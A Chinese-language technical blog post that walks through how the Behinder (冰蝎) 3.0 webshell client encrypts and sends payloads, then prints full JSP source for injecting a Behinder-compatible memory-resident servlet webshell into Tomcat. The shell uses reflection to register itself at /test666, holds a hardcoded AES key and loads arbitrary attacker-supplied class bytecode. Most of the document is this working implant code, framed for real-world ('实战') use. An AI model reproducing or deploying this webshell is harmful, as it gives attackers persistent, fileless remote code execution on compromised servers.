通过之前的文章,我们了解了servlet和filter类型的内存马的实现,但是实现的是cmd马,在实战的过程中会有两个问题。1.不方便操作使用.2.比较难过WAF的查杀。本片文章我先解决一下第一个问题,将冰蝎马注入到内存。
冰蝎马实现
客户端实现
由于静态分析比较麻烦,所以我选择直接debug调试,这里感谢https://github.com/Freakboy/Behinder
给出了可以直接运行的冰蝎3.0源码,有了源码可以方便调试并且根据需求对冰蝎进行二次开发。
发送请求
我选择了文件上传的操作来分析冰蝎的执行过程,上传操作由vip.youwe.sheller.ui.controller.FileManagerViewController#uploadFile实现,首先获取的需要上传的文件名,再通过`Utils.getFileData(selectdFile.getAbsolutePath())`获取需要上传的内容,最后通过` this.currentShellService.uploadFile(currentPath + fileName, fileContent);`执行真正的上传逻辑。
创建LinkedHashMap,将mode、path、content的内容分别赋值为create、远程文件地址、文件内容,调用Utils.getData(this.currentKey, this.encryptType, "FileOperation", params, this.currentType);
在vip.youwe.sheller.utils.Utils#getData(java.lang.String, int, java.lang.String, java.util.Map<java.lang.String,java.lang.String>, java.lang.String, byte[])中首先判断type是否为jsp,设置了classname为vip.youwe.sheller.payload.java.FileOperation
,调用了Params.getParamedClass(className, params);
vip.youwe.sheller.core.Params#getParamedClass通过ASM修改字节码的方式修改vip.youwe.sheller.payload.java.FileOperation
字节码,对其中的mode、path、content属性进行修改,并将修改后的class字节码转换为byte[]返回。
getParamedClass执行结束后,调用Crypt.Encrypt(bincls, key)
对返回的字节码进行AES加密。
将AES加密的FileOperation字节码通过base64编码,再转换为byte[]返回。
uploadFile中获取加密的内容后的内容后保存data中,通过 Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
发送data。
vip.youwe.sheller.utils.Utils#sendPostRequestBinary设置请求的地址,header,将传入的data发送到服务端。
接收请求
获取返回内容,将返回内容保存到data属性中,并设置header和status属性到result中。
requestAndParse中判断是否配置了额外追加的内容,如果没有则按原来的内容写入data属性并返回。
回到uploadFile方法,将接收的内容转换为byte[],调用Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType)
解密。
vip.youwe.sheller.core.Crypt#Decrypt中调用vip.youwe.sheller.core.Crypt#DecryptForJava解密。
使用AES算法解密,将解密的内容转换为字符串,最终通过base64解码获取到返回结果。
回到vip.youwe.sheller.ui.controller.FileManagerViewController#uploadFile中,获取status和msg的内容,根据status的内容判断是否上传成功。
客户端的执行过程分析完毕,总结一下流程。
- 获取需要上传的文件名和文件内容
- 通过ASM机制修改FileOperation字节码,修改其中的mode、path、content参数内容
- 将修改后的FileOperation字节码转换为byte[],并调用Crypt.Encrypt(bincls, key)对FileOperation字节码进行AES加密,并将加密的结果base64编码
- 将加密的内容以post的形式发送给服务端
- 接收响应内容,对响应的内容进行AES解密,再将解密后的内容进行base64解码。
服务端实现
再分析下服务端的代码实现,首先定义了一个类,类名为U这个类继承了ClassLoader,构造方法为调用父类的构造方法,方法g是调用父类的defineClass方法,defineClass方法可以将字节码转换为类。
1 2 3 4 5 6 7 8 9
| <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } }%>
|
1 2 3 4 5 6 7 8 9 10
| <% if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g( c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())) ) .newInstance().equals(pageContext);}%>
|
假如我客户端传入的是FileOperation的字节码,看下FileOperation类中equals方法的内容。在vip.youwe.sheller.payload.java.FileOperation#equals中,首先从传入的pageContext对象中获取到了session、request、response对象。因为我们之前传入的mode参数是create,所以会调用create(page)方法。
vip.youwe.sheller.payload.java.FileOperation#create中,通过path参数判断需要上传的文件路径,将content的内容base64解码后写入。并将返回的内容写入到msg参数中,
从response对象中获取输出流,将result的内容加密后返回。
vip.youwe.sheller.payload.java.FileOperation#Encrypt方法,从session中获取key,利用key将内容进行aes加密。
冰蝎内存马实践
通过上面的分析,只要在注入的内存马中实现服务端的功能即可,服务端功能如下:
- 获取defineClass对象并调用defineClass将接收的内容转换为class类。
- 将key写入到session
- 将接收的内容进行base64解码后进行AES解密
- 创建传入的class类的对象,并调用对象的equals方法,在调用的同时传入pageContext对象。
代码和原服务端的代码改动不大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.management.MBeanServer" %> <%@ page import="org.apache.tomcat.util.modeler.Registry" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <%@ page import="org.apache.catalina.core.StandardService" %> <%@ page import="org.apache.catalina.mapper.Mapper" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.ContainerBase" %> <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%@page import="java.security.GeneralSecurityException"%> <%@page import="java.security.NoSuchAlgorithmException"%> <%@page import="javax.crypto.Cipher"%>
<%@page import="java.security.InvalidKeyException"%> <%@page import="java.security.NoSuchAlgorithmException"%>
<html> <head> <title>servletContext</title> </head> <body> <%!class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } }%> <% class TomcatServlet extends HttpServlet {
@Override public void init() throws ServletException { }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String value=req.getParameter("sectest666"); if(value!=null) { if (value.equals("unload")) { try { ServletContext servletContext = req.getServletContext(); Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); contextField = applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); StandardContext standardContext = (StandardContext) contextField.get(applicationContext); Field serviceF = null; serviceF = applicationContext.getClass().getDeclaredField("service"); serviceF.setAccessible(true); StandardService service = (StandardService) serviceF.get(applicationContext); Mapper mapper = service.getMapper(); Field contextObjectToContextVersionMapF = null; contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapF.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap) contextObjectToContextVersionMapF.get(mapper); Object contextVersion = contextObjectToContextVersionMap.get(standardContext); Class[] classes = mapper.getClass().getDeclaredClasses(); Class contextversionClass = classes[1]; Method removeWrapper = null; removeWrapper = mapper.getClass().getDeclaredMethod("removeWrapper", contextversionClass, String.class); removeWrapper.setAccessible(true); removeWrapper.invoke(mapper, contextVersion, "/test666"); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); }
} } }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String k = "e45e329feb5d925b"; HttpSession session = req.getSession(); session.setAttribute("u", k); Cipher c = null; try { c = Cipher.getInstance("AES"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } catch (NoSuchPaddingException e) { e.printStackTrace(); } try { c.init(2, new SecretKeySpec(k.getBytes(), "AES")); } catch (InvalidKeyException e) { e.printStackTrace(); } javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true); try { new U(this.getClass().getClassLoader()).g( c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(req.getReader().readLine()))).newInstance().equals(pageContext); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IllegalBlockSizeException e) { e.printStackTrace(); } catch (BadPaddingException e) { e.printStackTrace(); } }
@Override public void destroy() { super.destroy(); }
} %>
<% try { javax.servlet.ServletContext servletContext=request.getServletContext();
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
Field serviceF = applicationContext.getClass().getDeclaredField("service"); serviceF.setAccessible(true); StandardService service = (StandardService) serviceF.get(applicationContext); Mapper mapper = service.getMapper(); Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap"); contextObjectToContextVersionMapF.setAccessible(true); ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper); Object contextVersion = contextObjectToContextVersionMap.get(standardContext); java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); Wrapper wrapper = (Wrapper) standardContext.findChild("test"); if(wrapper ==null) { TomcatServlet tomcatServlet=new TomcatServlet(); StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper(); Field instanceF = wrappershell.getClass().getDeclaredField("instance"); instanceF.setAccessible(true); instanceF.set(wrappershell,tomcatServlet); wrappershell.setServletClass("TomcatServlet"); Field parent = ContainerBase.class.getDeclaredField("parent"); parent.setAccessible(true); parent.set(wrappershell, standardContext); wrappershell.addMapping("/test666"); Class[] classes = mapper.getClass().getDeclaredClasses(); Class contextversionClass = classes[1]; Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class); addWrapper.setAccessible(true); addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false); out.println("Servlet has been Inject,please visit /test666 to access shell and visit /test666?sectest666=unload to unload shell!!!"); } }catch (Exception e){ e.printStackTrace(); } %> </body> </html>
|
效果如下:
访问unload接口删除内存马